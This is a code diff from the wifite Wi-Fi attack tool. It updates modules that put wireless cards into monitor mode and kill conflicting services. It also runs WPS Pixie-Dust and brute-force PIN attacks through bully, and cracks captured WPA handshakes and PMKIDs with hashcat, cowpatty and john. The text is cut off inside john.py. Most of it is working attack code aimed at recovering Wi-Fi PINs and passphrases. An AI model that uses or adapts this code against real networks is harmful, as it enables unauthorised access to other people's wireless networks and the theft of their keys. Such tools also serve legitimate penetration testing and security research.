Color.pl('{R}failed{W}') Color.pl('{R}failed{W}')
raise Exception('Cannot find %s with Mode:Monitor' % enabled_iface) raise Exception('Cannot find %s with type:monitor' % enabled_iface)
# No errors found; the device 'enabled_iface' was put into Mode:Monitor. # No errors found; the device 'enabled_iface' was put into Mode:Monitor.
Color.pl('{G}enabled {C}%s{W}' % enabled_iface) Color.pl('{G}enabled {C}%s{W}' % enabled_iface)
@@ -204,7 +204,7 @@ class Airmon(Dependency):
'''Find the interface put into monitor mode (if any)''' '''Find the interface put into monitor mode (if any)'''
# airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*') enabled_re = re.compile(r'.*\(mac80211 monitor mode (?:vif )?enabled (?:for [^ ]+ )?on (?:\[\w+\])?(\w+)\)?.*')
for line in airmon_output.split('\n'): for line in airmon_output.split('\n'):
matches = enabled_re.match(line) matches = enabled_re.match(line)
@@ -216,20 +216,20 @@ class Airmon(Dependency):
@staticmethod @staticmethod
def stop(iface): def stop(iface):
Color.p('{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... ' % iface) Color.p('{!}{W} Disabling {O}monitor{W} mode on {R}%s{W}...\n' % iface)
airmon_output = Process(['airmon-ng', 'stop', iface]).stdout() airmon_output = Process(['airmon-ng', 'stop', iface]).stdout()
(disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output) (disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output)
if not disabled_iface and iface in Airmon.BAD_DRIVERS: if not disabled_iface and iface in Airmon.BAD_DRIVERS:
Color.p('{O}"bad driver" detected{W} ') Color.p('{!} {O}"bad driver" detected{W} ')
disabled_iface = Airmon.stop_bad_driver(iface) disabled_iface = Airmon.stop_bad_driver(iface)
if disabled_iface: if disabled_iface:
Color.pl('{G}disabled %s{W}' % disabled_iface) Color.pl('{+}{W} Disabled monitor mode on {G}%s{W}' % disabled_iface)
else: else:
Color.pl('{O}could not disable on {R}%s{W}' % iface) Color.pl('{!} {O}Could not disable {R}%s{W}' % iface)
return (disabled_iface, enabled_iface) return (disabled_iface, enabled_iface)
@@ -277,27 +277,28 @@ class Airmon(Dependency):
Airmon.terminate_conflicting_processes() Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}') Color.p('\n{+} Looking for {C}wireless interfaces{W}...')
monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') monitor_interfaces = Iw.get_interfaces(mode='monitor')
if len(monitor_interfaces) == 1: if len(monitor_interfaces) == 1:
# Assume we're using the device already in montior mode # Assume we're using the device already in montior mode
iface = monitor_interfaces[0] iface = monitor_interfaces[0]
Color.pl(' using interface {G}%s{W} (already in monitor mode)' % iface); Color.clear_entire_line()
Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') Color.pl('{+} Using {G}%s{W} already in monitor mode' % iface);
Airmon.base_interface = None Airmon.base_interface = None
return iface return iface
Color.clear_entire_line()
Color.p('{+} Checking {C}airmon-ng{W}...')
a = Airmon() a = Airmon()
count = len(a.interfaces) count = len(a.interfaces)
if count == 0: if count == 0:
# No interfaces found # No interfaces found
Color.pl('\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces') Color.pl('\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')
Color.pl('{!} {O}make sure your wireless device is connected') Color.pl('{!} {O}Make sure your wireless device is connected')
Color.pl('{!} {O}see {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}') Color.pl('{!} {O}See {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}')
raise Exception('airmon-ng did not find any wireless interfaces') raise Exception('airmon-ng did not find any wireless interfaces')
Color.pl('') Color.clear_entire_line()
a.print_menu() a.print_menu()
Color.pl('') Color.pl('')
@@ -307,7 +308,7 @@ class Airmon(Dependency):
choice = 1 choice = 1
else: else:
# Multiple interfaces found # Multiple interfaces found
question = Color.s('{+} select interface ({G}1-%d{W}): ' % (count)) question = Color.s('{+} Select wireless interface ({G}1-%d{W}): ' % (count))
choice = raw_input(question) choice = raw_input(question)
iface = a.get(choice) iface = a.get(choice)
@@ -347,19 +348,23 @@ class Airmon(Dependency):
'{R}%s{O} (PID {R}%s{O})' % (pname, pid) '{R}%s{O} (PID {R}%s{O})' % (pname, pid)
for pid, pname in pid_pnames for pid, pname in pid_pnames
]) ])
Color.pl('{!} {O}conflicting processes: %s' % names_and_pids) Color.pl('{!} {O}Conflicting processes: %s' % names_and_pids)
Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}') Color.pl('{!} {O}If you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
return return
Color.pl('{!} {O}killing {R}%d {O}conflicting processes' % len(pid_pnames)) Color.pl('{!} {O}Killing {R}%d {O}conflicting processes' % len(pid_pnames))
for pid, pname in pid_pnames: for pid, pname in pid_pnames:
if pname == 'NetworkManager' and Process.exists('service'): if pname == 'NetworkManager' and Process.exists('service'):
Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})') Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})')
# Can't just pkill network manager; it's a service # Can't just pkill network manager; it's a service
Process(['service', 'network-manager', 'stop']).wait() Process(['service', 'network-manager', 'stop']).wait()
Airmon.killed_network_manager = True Airmon.killed_network_manager = True
elif pname == 'avahi-daemon' and Process.exists('service'):
Color.pl('{!} {O}stopping avahi-daemon ({R}service avahi-daemon stop{O})')
# Can't just pkill avahi-daemon; it's a service
Process(['service', 'avahi-daemon', 'stop']).wait()
else: else:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid)) Color.pl('{!} {R}Terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
try: try:
os.kill(int(pid), signal.SIGTERM) os.kill(int(pid), signal.SIGTERM)
except: except:
@@ -368,9 +373,9 @@ class Airmon(Dependency):
@staticmethod @staticmethod
def put_interface_up(iface): def put_interface_up(iface):
Color.p('{!} {O}putting interface {R}%s up{O}...' % (iface)) Color.p('{!}{W} Putting interface {R}%s{W} {G}up{W}...\n' % (iface))
Ifconfig.up(iface) Ip.up(iface)
Color.pl(' {G}done{W}') Color.pl('{+}{W} Done !')
@staticmethod @staticmethod
def start_network_manager(): def start_network_manager():
@@ -407,7 +412,27 @@ class Airmon(Dependency):
Color.pl(' {R}cannot restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}') Color.pl(' {R}cannot restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}')
if __name__ == '__main__': if __name__ == '__main__':
Airmon.terminate_conflicting_processes() stdout = '''
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
5563 avahi-daemon
5564 avahi-daemon
PHY Interface Driver Chipset
phy0 wlx00c0ca4ecae0 rtl8187 Realtek Semiconductor Corp. RTL8187
Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx00c0ca4ecae0)
'''
start_iface = Airmon._parse_airmon_start(stdout)
print('start_iface from stdout:', start_iface)
Configuration.initialize(False)
iface = Airmon.ask() iface = Airmon.ask()
(disabled_iface, enabled_iface) = Airmon.stop(iface) (disabled_iface, enabled_iface) = Airmon.stop(iface)
print('Disabled:', disabled_iface) print('Disabled:', disabled_iface)

View File

@@ -6,7 +6,7 @@ from .tshark import Tshark
from .wash import Wash from .wash import Wash
from ..util.process import Process from ..util.process import Process
from ..config import Configuration from ..config import Configuration
from ..model.target import Target from ..model.target import Target, WPSState
from ..model.client import Client from ..model.client import Client
import os, time import os, time
@@ -18,7 +18,8 @@ class Airodump(Dependency):
dependency_url = 'https://www.aircrack-ng.org/install.html' dependency_url = 'https://www.aircrack-ng.org/install.html'
def __init__(self, interface=None, channel=None, encryption=None,\ def __init__(self, interface=None, channel=None, encryption=None,\
wps=False, target_bssid=None, output_file_prefix='airodump',\ wps=WPSState.UNKNOWN, target_bssid=None,
output_file_prefix='airodump',\
ivs_only=False, skip_wps=False, delete_existing_files=True): ivs_only=False, skip_wps=False, delete_existing_files=True):
'''Sets up airodump arguments, doesn't start process yet.''' '''Sets up airodump arguments, doesn't start process yet.'''
@@ -260,7 +261,7 @@ class Airodump(Dependency):
result.append(target) result.append(target)
elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
result.append(target) result.append(target)
elif 'WPS' in Configuration.encryption_filter and target.wps: elif 'WPS' in Configuration.encryption_filter and target.wps in [WPSState.UNLOCKED, WPSState.LOCKED]:
result.append(target) result.append(target)
elif skip_wps: elif skip_wps:
result.append(target) result.append(target)

View File

@@ -18,19 +18,25 @@ class Bully(Attack, Dependency):
dependency_name = 'bully' dependency_name = 'bully'
dependency_url = 'https://github.com/aanarchyy/bully' dependency_url = 'https://github.com/aanarchyy/bully'
def __init__(self, target): def __init__(self, target, pixie_dust=True):
super(Bully, self).__init__(target) super(Bully, self).__init__(target)
self.target = target
self.pixie_dust = pixie_dust
self.total_attempts = 0
self.total_timeouts = 0 self.total_timeouts = 0
self.total_failures = 0 self.total_failures = 0
self.locked = False self.locked = False
self.state = '{O}Waiting for beacon{W}' self.state = '{O}Waiting for beacon{W}'
self.start_time = time.time() self.start_time = time.time()
self.last_pin = ""
self.pins_remaining = -1
self.eta = ''
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None self.crack_result = None
self.target = target
self.cmd = [] self.cmd = []
if Process.exists('stdbuf'): if Process.exists('stdbuf'):
@@ -42,13 +48,20 @@ class Bully(Attack, Dependency):
'bully', 'bully',
'--bssid', target.bssid, '--bssid', target.bssid,
'--channel', target.channel, '--channel', target.channel,
'--detectlock', # Detect WPS lockouts unreported by AP #'--detectlock', # Detect WPS lockouts unreported by AP
# Restoring session from '/root/.bully/34210901927c.run'
# WARNING: WPS checksum was bruteforced in prior session, now autogenerated
# Use --force to ignore above warning(s) and continue anyway
'--force', '--force',
'-v', '4', '-v', '4',
'--pixiewps',
Configuration.interface Configuration.interface
]) ])
if self.pixie_dust:
self.cmd.insert(-1, '--pixiewps')
self.bully_proc = None self.bully_proc = None
@@ -73,36 +86,7 @@ class Bully(Attack, Dependency):
t.start() t.start()
try: try:
while self.bully_proc.poll() is None: self._run(airodump)
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
self.stop()
break
# Update status
self.pattack(self.get_status())
# Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
self.stop()
return
time.sleep(0.5)
except KeyboardInterrupt as e: except KeyboardInterrupt as e:
self.stop() self.stop()
raise e raise e
@@ -113,16 +97,77 @@ class Bully(Attack, Dependency):
if self.crack_result is None: if self.crack_result is None:
self.pattack('{R}Failed{W}', newline=True) self.pattack('{R}Failed{W}', newline=True)
def _run(self, airodump):
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
Color.pexception(e)
self.stop()
break
# Update status
self.pattack(self.get_status())
# Thresholds only apply to Pixie-Dust
if self.pixie_dust:
# Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % (
Configuration.wps_pixie_timeout), newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % (
Configuration.wps_timeout_threshold), newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % (
Configuration.wps_fail_threshold), newline=True)
self.stop()
return
else:
if self.locked and not Configuration.wps_ignore_lock:
self.pattack('{R}Failed: {O}Access point is {R}Locked{O}',
newline=True)
self.stop()
return
time.sleep(0.5)
def pattack(self, message, newline=False): def pattack(self, message, newline=False):
# Print message with attack information. # Print message with attack information.
if self.pixie_dust:
# Count down
time_left = Configuration.wps_pixie_timeout - self.running_time() time_left = Configuration.wps_pixie_timeout - self.running_time()
attack_name = 'Pixie-Dust'
else:
# Count up
time_left = self.running_time()
attack_name = 'PIN Attack'
if self.eta:
time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta
else:
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
if self.pins_remaining >= 0:
time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining
else:
time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack('WPS', Color.pattack('WPS', self.target, attack_name,
self.target, '{W}[%s] %s' % (time_msg, message))
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline: if newline:
Color.pl('') Color.pl('')
@@ -139,7 +184,7 @@ class Bully(Attack, Dependency):
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts) meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_failures > 0: if self.total_failures > 0:
meta_statuses.append('{O}WPSFail:%d{W}' % self.total_failures) meta_statuses.append('{O}Fails:%d{W}' % self.total_failures)
if self.locked: if self.locked:
meta_statuses.append('{R}Locked{W}') meta_statuses.append('{R}Locked{W}')
@@ -153,6 +198,7 @@ class Bully(Attack, Dependency):
def parse_line_thread(self): def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b''): for line in iter(self.bully_proc.pid.stdout.readline, b''):
if line == '': continue if line == '': continue
line = line.decode('utf-8')
line = line.replace('\r', '').replace('\n', '').strip() line = line.replace('\r', '').replace('\n', '').strip()
if Configuration.verbose > 1: if Configuration.verbose > 1:
@@ -191,7 +237,7 @@ class Bully(Attack, Dependency):
# Mention the PIN & that we're not done yet. # Mention the PIN & that we're not done yet.
self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True) self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True)
self.state = '{G}Finding PSK...{C}' self.state = '{G}Finding Key...{C}'
time.sleep(2) time.sleep(2)
########################### ###########################
@@ -201,7 +247,7 @@ class Bully(Attack, Dependency):
self.cracked_key = key_re.group(1) self.cracked_key = key_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key: if not self.crack_result and self.cracked_pin and self.cracked_key:
self.pattack('{G}Cracked PSK: {C}%s{W}' % self.cracked_key, newline=True) self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True)
self.crack_result = CrackResultWPS( self.crack_result = CrackResultWPS(
self.target.bssid, self.target.bssid,
self.target.essid, self.target.essid,
@@ -225,20 +271,33 @@ class Bully(Attack, Dependency):
# [+] Last State = 'NoAssoc' Next pin '48855501' # [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state: if last_state:
# group(1)=result, group(2)=PIN # group(1)=NoAssoc, group(2)=PIN
pin = last_state.group(2) pin = last_state.group(2)
state = 'Trying PIN {C}%s{W} (%s)' % (pin, last_state.group(1)) if pin != self.last_pin:
self.last_pin = pin
self.total_attempts += 1
if self.pins_remaining > 0:
self.pins_remaining -= 1
state = 'Trying PIN'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) mx_result_pin = re.search(
r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if mx_result_pin: if mx_result_pin:
# group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN
self.locked = False self.locked = False
# group(1)=M3/M5, group(2)=result, group(3)=PIN
m_state = mx_result_pin.group(1) m_state = mx_result_pin.group(1)
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
pin = mx_result_pin.group(3) pin = mx_result_pin.group(3)
if pin != self.last_pin:
self.last_pin = pin
self.total_attempts += 1
if self.pins_remaining > 0:
self.pins_remaining -= 1
if result == 'Timeout': if result in ['Pin1Bad', 'Pin2Bad']:
result = '{G}%s{W}' % result
elif result == 'Timeout':
self.total_timeouts += 1 self.total_timeouts += 1
result = '{O}%s{W}' % result result = '{O}%s{W}' % result
elif result == 'WPSFail': elif result == 'WPSFail':
@@ -250,14 +309,33 @@ class Bully(Attack, Dependency):
result = '{R}%s{W}' % result result = '{R}%s{W}' % result
result = '{P}%s{W}:%s' % (m_state.strip(), result.strip()) result = '{P}%s{W}:%s' % (m_state.strip(), result.strip())
state = 'Trying PIN {C}%s{W} (%s)' % (pin, result) state = 'Trying PIN (%s)' % result
# [!] Run time 00:02:49, pins tested 32 (5.28 seconds per pin)
re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line)
if re_tested:
# group(1)=01:23:45, group(2)=1234
self.total_attempts = int(re_tested.group(2))
#[!] Current rate 5.28 seconds per pin, 07362 pins remaining
re_remaining = re.search(r' ([0-9]+) pins remaining', line)
if re_remaining:
self.pins_remaining = int(re_remaining.group(1))
# [!] Average time to crack is 5 hours, 23 minutes, 55 seconds
re_eta = re.search(
r'time to crack is (\d+) hours, (\d+) minutes, (\d+) seconds', line)
if re_eta:
h, m, s = re_eta.groups()
self.eta = '%sh%sm%ss' % (
h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0'))
# [!] WPS lockout reported, sleeping for 43 seconds ... # [!] WPS lockout reported, sleeping for 43 seconds ...
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if re_lockout: if re_lockout:
self.locked = True self.locked = True
sleeping = re_lockout.group(1) sleeping = re_lockout.group(1)
state = '{R}WPS Lock-out: {O}Waiting %s seconds{W}' % sleeping state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping
# [Pixie-Dust] WPS pin not found # [Pixie-Dust] WPS pin not found
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)

41
wifite/tools/cowpatty.py Normal file
View File

@@ -0,0 +1,41 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.hashcat import HcxPcapTool
import os
import re
class Cowpatty(Dependency):
''' Wrapper for Cowpatty program. '''
dependency_required = False
dependency_name = 'cowpatty'
dependency_url = 'https://tools.kali.org/wireless-attacks/cowpatty'
@staticmethod
def crack_handshake(handshake, show_command=False):
# Crack john file
command = [
'cowpatty',
'-f', Configuration.wordlist,
'-r', handshake.capfile,
'-s', handshake.essid
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
key = None
for line in stdout.split('\n'):
if 'The PSK is "' in line:
key = line.split('"', 1)[1][:-2]
break
return key

View File

@@ -14,6 +14,12 @@ class Dependency(object):
) )
@classmethod
def exists(cls):
from ..util.process import Process
return Process.exists(cls.dependency_name)
@classmethod @classmethod
def run_dependency_check(cls): def run_dependency_check(cls):
from ..util.color import Color from ..util.color import Color
@@ -22,8 +28,8 @@ class Dependency(object):
from .airodump import Airodump from .airodump import Airodump
from .aircrack import Aircrack from .aircrack import Aircrack
from .aireplay import Aireplay from .aireplay import Aireplay
from .ifconfig import Ifconfig from .ip import Ip
from .iwconfig import Iwconfig from .iw import Iw
from .bully import Bully from .bully import Bully
from .reaver import Reaver from .reaver import Reaver
from .wash import Wash from .wash import Wash
@@ -36,7 +42,7 @@ class Dependency(object):
# Aircrack # Aircrack
Aircrack, #Airodump, Airmon, Aireplay, Aircrack, #Airodump, Airmon, Aireplay,
# wireless/net tools # wireless/net tools
Iwconfig, Ifconfig, Iw, Ip,
# WPS # WPS
Reaver, Bully, Reaver, Bully,
# Cracking/handshakes # Cracking/handshakes

View File

@@ -14,6 +14,47 @@ class Hashcat(Dependency):
dependency_name = 'hashcat' dependency_name = 'hashcat'
dependency_url = 'https://hashcat.net/hashcat/' dependency_url = 'https://hashcat.net/hashcat/'
@staticmethod
def should_use_force():
command = ['hashcat', '-I']
stderr = Process(command).stderr()
return 'No devices found/left' in stderr
@staticmethod
def crack_handshake(handshake, show_command=False):
# Generate hccapx
hccapx_file = HcxPcapTool.generate_hccapx_file(
handshake, show_command=show_command)
key = None
# Crack hccapx
for additional_arg in ([], ['--show']):
command = [
'hashcat',
'--quiet',
'-m', '2500',
hccapx_file,
Configuration.wordlist
]
if Hashcat.should_use_force():
command.append('--force')
command.extend(additional_arg)
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if ':' not in stdout:
continue
else:
key = stdout.split(':', 5)[-1].strip()
break
if os.path.exists(hccapx_file):
os.remove(hccapx_file)
return key
@staticmethod @staticmethod
def crack_pmkid(pmkid_file, verbose=False): def crack_pmkid(pmkid_file, verbose=False):
''' '''
@@ -24,30 +65,26 @@ class Hashcat(Dependency):
# Run hashcat once normally, then with --show if it failed # Run hashcat once normally, then with --show if it failed
# To catch cases where the password is already in the pot file. # To catch cases where the password is already in the pot file.
for additional_arg in [ [], ['--show']]: for additional_arg in ([], ['--show']):
command = [ command = [
'hashcat', 'hashcat',
'--force',
'--quiet', # Only output the password if found. '--quiet', # Only output the password if found.
'-m', '16800', # WPA-PMKID-PBKDF2 '-m', '16800', # WPA-PMKID-PBKDF2
'-a', '0', # TODO: Configure '-a', '0', # Wordlist attack-mode
'-w', '2', # TODO: Configure
pmkid_file, pmkid_file,
Configuration.wordlist Configuration.wordlist
] ]
if Hashcat.should_use_force():
command.append('--force')
command.extend(additional_arg) command.extend(additional_arg)
if verbose and additional_arg == []: if verbose and additional_arg == []:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
# TODO: Check status of hashcat (%); it's impossible with --quiet # TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command) hashcat_proc = Process(command)
hashcat_proc.wait() hashcat_proc.wait()
stdout = hashcat_proc.stdout() stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
Color.pl('\n{!} {O}Interrupted hashcat cracking{W}')
stdout = ''
if ':' not in stdout: if ':' not in stdout:
# Failed # Failed
@@ -100,6 +137,52 @@ class HcxPcapTool(Dependency):
self.bssid = self.target.bssid.lower().replace(':', '') self.bssid = self.target.bssid.lower().replace(':', '')
self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid) self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
@staticmethod
def generate_hccapx_file(handshake, show_command=False):
hccapx_file = Configuration.temp('generated.hccapx')
if os.path.exists(hccapx_file):
os.remove(hccapx_file)
command = [
'hcxpcaptool',
'-o', hccapx_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if not os.path.exists(hccapx_file):
raise ValueError('Failed to generate .hccapx file, output: \n%s\n%s' % (
stdout, stderr))
return hccapx_file
@staticmethod
def generate_john_file(handshake, show_command=False):
john_file = Configuration.temp('generated.john')
if os.path.exists(john_file):
os.remove(john_file)
command = [
'hcxpcaptool',
'-j', john_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if not os.path.exists(john_file):
raise ValueError('Failed to generate .john file, output: \n%s\n%s' % (
stdout, stderr))
return john_file
def get_pmkid_hash(self, pcapng_file): def get_pmkid_hash(self, pcapng_file):
if os.path.exists(self.pmkid_file): if os.path.exists(self.pmkid_file):
os.remove(self.pmkid_file) os.remove(self.pmkid_file)

View File

@@ -5,17 +5,17 @@ import re
from .dependency import Dependency from .dependency import Dependency
class Ifconfig(Dependency): class Ip(Dependency):
dependency_required = True dependency_required = True
dependency_name = 'ifconfig' dependency_name = 'ip'
dependency_url = 'apt-get install net-tools' dependency_url = 'apt-get install ip'
@classmethod @classmethod
def up(cls, interface, args=[]): def up(cls, interface, args=[]):
'''Put interface up''' '''Put interface up'''
from ..util.process import Process from ..util.process import Process
command = ['ifconfig', interface] command = ['ip', 'link', 'set', interface]
if type(args) is list: if type(args) is list:
command.extend(args) command.extend(args)
elif type(args) is 'str': elif type(args) is 'str':
@@ -33,7 +33,7 @@ class Ifconfig(Dependency):
'''Put interface down''' '''Put interface down'''
from ..util.process import Process from ..util.process import Process
pid = Process(['ifconfig', interface, 'down']) pid = Process(['ip', 'link', 'set', interface, 'down'])
pid.wait() pid.wait()
if pid.poll() != 0: if pid.poll() != 0:
raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
@@ -43,19 +43,11 @@ class Ifconfig(Dependency):
def get_mac(cls, interface): def get_mac(cls, interface):
from ..util.process import Process from ..util.process import Process
output = Process(['ifconfig', interface]).stdout() output = Process(['ip', 'link show', interface]).stdout()
# Mac address separated by dashes match = re.search(r'([a-fA-F0-9]{2}[-:]){5}[a-fA-F0-9]{2}', output)
mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
match = re.search(' ({})'.format(mac_dash_regex), output)
if match: if match:
return match.group(1).replace('-', ':') return match.group(0).replace('-', ':')
# Mac address separated by colons
mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search(' ({})'.format(mac_colon_regex), output)
if match:
return match.group(1)
raise Exception('Could not find the mac address for %s' % interface) raise Exception('Could not find the mac address for %s' % interface)

53
wifite/tools/iw.py Executable file
View File

@@ -0,0 +1,53 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
class Iw(Dependency):
dependency_required = True
dependency_name = 'iw'
dependency_url = 'apt-get install iw'
@classmethod
def mode(cls, iface, mode_name):
from ..util.process import Process
pid = None
if mode_name == "monitor":
pid = Process(['iw', iface, 'set monitor control'])
else:
pid = Process(['iw', iface, 'type', mode_name])
pid.wait()
return pid.poll()
@classmethod
def get_interfaces(cls, mode=None):
from ..util.process import Process
import re
ireg = re.compile(r"\s+Interface\s[a-zA-Z0-9]+")
mreg = re.compile(r"\s+type\s[a-zA-z]+")
ires = None
mres = None
interfaces = set()
iface = ''
(out, err) = Process.call('iw dev')
if mode is None:
for line in out.split('\n'):
ires = ireg.search(line)
if ires:
interfaces.add(ires.group().split("Interface")[-1])
else:
for line in out.split('\n'):
ires = ireg.search(line)
mres = mreg.search(line)
if mres:
if mode == mres.group().split("type")[-1][1:]:
interfaces.add(iface)
if ires:
iface = ires.group().split("Interface")[-1][1:]
return list(interfaces)

View File

@@ -1,54 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
class Iwconfig(Dependency):
dependency_required = True
dependency_name = 'iwconfig'
dependency_url = 'apt-get install wireless-tools'
@classmethod
def exists(cls):
from ..util.process import Process
return Process.exists('iwconfig')
@classmethod
def mode(cls, iface, mode_name):
from ..util.process import Process
pid = Process(['iwconfig', iface, 'mode', mode_name])
pid.wait()
return pid.poll()
@classmethod
def get_interfaces(cls, mode=None):
from ..util.process import Process
interfaces = set()
iface = ''
(out, err) = Process.call('iwconfig')
for line in out.split('\n'):
if len(line) == 0: continue
if not line.startswith(' '):
iface = line.split(' ')[0]
if '\t' in iface:
iface = iface.split('\t')[0].strip()
iface = iface.strip()
if len(iface) == 0:
continue
if mode is None:
interfaces.add(iface)
if mode is not None and 'Mode:{}'.format(mode) in line and len(iface) > 0:
interfaces.add(iface)
return list(interfaces)

65
wifite/tools/john.py Normal file
View File

@@ -0,0 +1,65 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.hashcat import HcxPcapTool
import os
class John(Dependency):
''' Wrapper for John program. '''
dependency_required = False
dependency_name = 'john'
dependency_url = 'http://www.openwall.com/john/'
@staticmethod
def crack_handshake(handshake, show_command=False):
john_file = HcxPcapTool.generate_john_file(handshake, show_command=show_command)
